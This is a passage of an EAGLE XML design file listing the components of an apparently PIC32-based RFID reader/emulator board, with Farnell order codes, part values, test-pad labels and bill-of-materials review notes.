value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"JP10\" library=\"1FAB\" deviceset=\"PINHD-1X1\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"JP9\" library=\"1FAB\" deviceset=\"PINHD-1X1\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"JP8\" library=\"1FAB\" deviceset=\"PINHD-1X1\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"U6\" library=\"1FAB\" deviceset=\"PIC32MX795F512L-80I/PF\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1778491\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"SUPPLY11\" library=\"supply1\" deviceset=\"GND\" device=\"\"/>\n<part name=\"+3V7\" library=\"supply1\" deviceset=\"+3V3\" device=\"\" value=\"3V3\"/>\n<part name=\"GND16\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"C15\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"100nf\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\"/>\n<attribute name=\"FARNELL\" value=\"2332586\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"Cuurently rs 264 4646\"/>\n</part>\n<part name=\"C16\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0805\" value=\"10uF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1867958\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R23\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"10k\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9330399\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"+3V1\" library=\"supply1\" deviceset=\"+3V3\" device=\"\" value=\"3V3\"/>\n<part name=\"GND19\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"X1\" library=\"crystal\" deviceset=\"CRYSTAL\" device=\"HC49UP\" value=\"8MHz\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1842346\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C13\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"18pF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1612182\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C14\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"18pF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1612182\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"GND5\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"P+5\" library=\"SparkFun02-20-08\" deviceset=\"3.3V\" device=\"\" value=\"3V3\"/>\n<part name=\"R31\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"10K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9330399\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R30\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"10K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9330399\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"BOOTLOADER\" library=\"SparkFun4-13-10\" deviceset=\"TAC_SWITCH\" device=\"SMD\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9471880\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"USER\" library=\"SparkFun4-13-10\" deviceset=\"TAC_SWITCH\" device=\"SMD\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9471880\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"P+16\" library=\"SparkFun02-20-08\" deviceset=\"3.3V\" device=\"\" value=\"3V3\"/>\n<part name=\"P+17\" library=\"SparkFun02-20-08\" deviceset=\"3.3V\" device=\"\" value=\"3V3\"/>\n<part name=\"RESET\" library=\"SparkFun4-13-10\" deviceset=\"TAC_SWITCH\" device=\"SMD\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9471880\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R29\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"10K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9330399\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"P+11\" library=\"SparkFun02-20-08\" deviceset=\"3.3V\" device=\"\" value=\"3V3\"/>\n<part name=\"GND17\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"C19\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"100nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\"/>\n<attribute name=\"FARNELL\" value=\"2332586\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\"/>\n</part>\n<part name=\"C20\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"100nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\"/>\n<attribute name=\"FARNELL\" value=\"2332586\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\"/>\n</part>\n<part name=\"C21\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"100nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\"/>\n<attribute name=\"FARNELL\" value=\"2332586\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\"/>\n</part>\n<part name=\"C22\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"100nf\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\"/>\n<attribute name=\"FARNELL\" value=\"2332586\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\"/>\n</part>\n<part name=\"C23\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"100nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\"/>\n<attribute name=\"FARNELL\" value=\"2332586\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\"/>\n</part>\n<part name=\"C24\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"100nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\"/>\n<attribute name=\"FARNELL\" value=\"2332586\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\"/>\n</part>\n<part name=\"R25\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"330\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9332014\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R27\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"330\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9332014\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R28\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"330\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9332014\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"LED6\" library=\"SparkFun\" deviceset=\"LED\" device=\"0603\" value=\"CLOCK oran\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2146433\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"LED7\" library=\"SparkFun\" deviceset=\"LED\" device=\"0603\" value=\"COMMS ACTIVITY yel\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2146436\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"LED8\" library=\"SparkFun\" deviceset=\"LED\" device=\"0603\" value=\"USB grn\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2146434\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"P+13\" library=\"SparkFun02-20-08\" deviceset=\"3.3V\" device=\"\" value=\"3V3\"/>\n<part name=\"P+12\" library=\"SparkFun02-20-08\" deviceset=\"3.3V\" device=\"\" value=\"3V3\"/>\n<part name=\"U$16\" library=\"SparkFun02-20-08\" deviceset=\"5V\" device=\"\" value=\"5V0\"/>\n<part name=\"GND24\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"GND23\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"P+9\" library=\"SparkFun02-20-08\" deviceset=\"3.3V\" device=\"\" value=\"3V3\"/>\n<part name=\"VALUE\" library=\"SparkFun02-20-08\" deviceset=\"5V\" device=\"\" value=\"5V0\"/>\n<part name=\"R19\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"330\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9332014\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"LED1\" library=\"SparkFun\" deviceset=\"LED\" device=\"0603\" value=\"POWER blue\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2217972\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"GND4\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"GND6\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"P+18\" library=\"SparkFun02-20-08\" deviceset=\"3.3V\" device=\"\" value=\"3V3\"/>\n<part name=\"GND8\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"GND21\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"C30\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0805\" value=\"10uF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1867958\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C18\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0805\" value=\"22uF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1867956\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"U$12\" library=\"SparkFun02-20-08\" deviceset=\"5V\" device=\"\" value=\"5V0 (VBUS)\"/>\n<part name=\"SUPPLY4\" library=\"supply1\" deviceset=\"GND\" device=\"\"/>\n<part name=\"R22\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"330\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9332014\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"LED4\" library=\"SparkFun\" deviceset=\"LED\" device=\"0603\" value=\"READ grn\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2146434\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"JP16\" library=\"SchmalzHaus\" deviceset=\"M08\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"LED5\" library=\"SparkFun\" deviceset=\"LED\" device=\"0603\" value=\"EMULATE red\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"y right angled part\"/>\n<attribute name=\"FARNELL\" value=\"2099221\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R24\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"330\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9332014\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"U8\" library=\"1FAB\" deviceset=\"LDO-SOT223-REG\" device=\"\">\n<attribute name=\"FARNELL\" value=\"9778195\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"should be replaced\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n</part>\n<part name=\"GND7\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"JP18\" library=\"SparkFun 26-2-11\" deviceset=\"M02\" device=\"LOCK_LONGPADS\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"U5\" library=\"1FAB\" deviceset=\"SN74AHCT125D\" device=\"\">\n<attribute name=\"FARNELL\" value=\"1287453\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n</part>\n<part name=\"SUPPLY1\" library=\"supply1\" deviceset=\"GND\" device=\"\"/>\n<part name=\"5V1\" library=\"supply1\" deviceset=\"+5V\" device=\"\" value=\"5V0\"/>\n<part name=\"LED3\" library=\"SparkFun\" deviceset=\"LED\" device=\"0603\" value=\"USER_LED yel\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2146436\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R21\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"330\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9332014\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C12\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"1nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1414606\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"SUPPLY2\" library=\"supply1\" deviceset=\"GND\" device=\"\"/>\n<part name=\"U7\" library=\"1FAB\" deviceset=\"SIMCARD_HOLDER_SMALL\" device=\"\">\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n</part>\n<part name=\"R26\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"4K7\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"2078913\"/>\n</part>\n<part name=\"SIMVPP\" library=\"pinhead\" deviceset=\"PINHD-1X1\" device=\"\">\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n</part>\n<part name=\"C26\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"10nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1301715\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"F1\" library=\"SparkFun\" deviceset=\"PTC\" device=\"SMD\" value=\"250ma\">\n<attribute name=\"FARNELL\" value=\"1596990\"/>\n</part>\n<part name=\"+3V2\" library=\"supply1\" deviceset=\"+3V3\" device=\"\" value=\"3V3\"/>\n<part name=\"JP14\" library=\"pinhead\" deviceset=\"PINHD-1X40\" device=\"\">\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n</part>\n<part name=\"JP15\" library=\"pinhead\" deviceset=\"PINHD-1X40\" device=\"\">\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n</part>\n<part name=\"Q1\" library=\"SparkFun-DiscreteSemi\" deviceset=\"TRANSISTOR_NPN\" device=\"SOT323(SC-70)\" value=\"2N3904\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"y change footprint to sot323\"/>\n<attribute name=\"FARNELL\" value=\"1459102\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R2\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"1k\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9238484\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"TP10\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"RAW_READER_OUT\"/>\n<part name=\"TP2\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"DIV-\"/>\n<part name=\"TP3\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"DIV+\"/>\n<part name=\"TP6\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"OP+OUT\"/>\n<part name=\"TP4\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"OP-OUT\"/>\n<part name=\"TP8\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"UPS_ORIN1\"/>\n<part name=\"TP9\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"DOWNS_ORIN1\"/>\n<part name=\"TP7\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"READER_DATA\"/>\n<part name=\"TP19\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"POWER_IN_5V0\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP17\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"PGC2\"/>\n<part name=\"TP16\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"PGD2\"/>\n<part name=\"TP13\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"!MCLR\"/>\n<part name=\"TP15\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"GND\"/>\n<part name=\"TP14\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"3V3\"/>\n<part name=\"R6\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"330\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9332014\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"SUPPLY6\" library=\"supply1\" deviceset=\"GND\" device=\"\"/>\n<part name=\"D6\" library=\"1FAB\" deviceset=\"BZB984\" device=\"\" value=\"BZB984-C3V0\">\n<attribute name=\"FARNELL\" value=\"8735310\"/>\n</part>\n<part name=\"R18\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"470\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2333530\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"OPTO_MOS1\" library=\"1FAB\" deviceset=\"CPC1008N\" device=\"\" value=\"CPC1008N\">\n<attribute name=\"FARNELL\" value=\"1653755\"/>\n</part>\n<part name=\"TUNE\" library=\"SparkFun 26-2-11\" deviceset=\"M02\" device=\"LOCK_LONGPADS\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"TP12\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"COIL_A\"/>\n<part name=\"TP5\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"COIL_B\"/>\n<part name=\"R20\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"330\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"9332014\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"LED2\" library=\"SparkFun\" deviceset=\"LED\" device=\"0603\" value=\"ERROR red\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2099221\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"R32\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"330\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute 